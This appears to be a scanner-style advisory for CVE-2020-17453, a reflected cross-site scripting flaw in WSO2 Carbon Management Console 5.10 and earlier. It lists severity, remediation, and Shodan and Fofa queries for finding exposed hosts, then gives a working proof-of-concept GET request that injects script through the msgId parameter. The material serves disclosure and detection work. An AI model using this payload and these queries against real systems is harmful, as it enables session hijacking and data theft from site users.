| Title | WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting |
|---|---|
| Author | madrobot |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application. |
| Remediation | Upgrade to a patched version of WSO2 Carbon Management Console (5.11 or above) or apply the provided security patch to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.64438 |
| CVE ID | CVE-2020-17453 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:1398055326 |
| Fofa Query | icon_hash=1398055326 |
| Tags | cve2020 cve xss wso2 vkev vuln |
WSO2 Management Console through 5.10 is susceptible to reflected cross-site scripting which can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests.
GET /carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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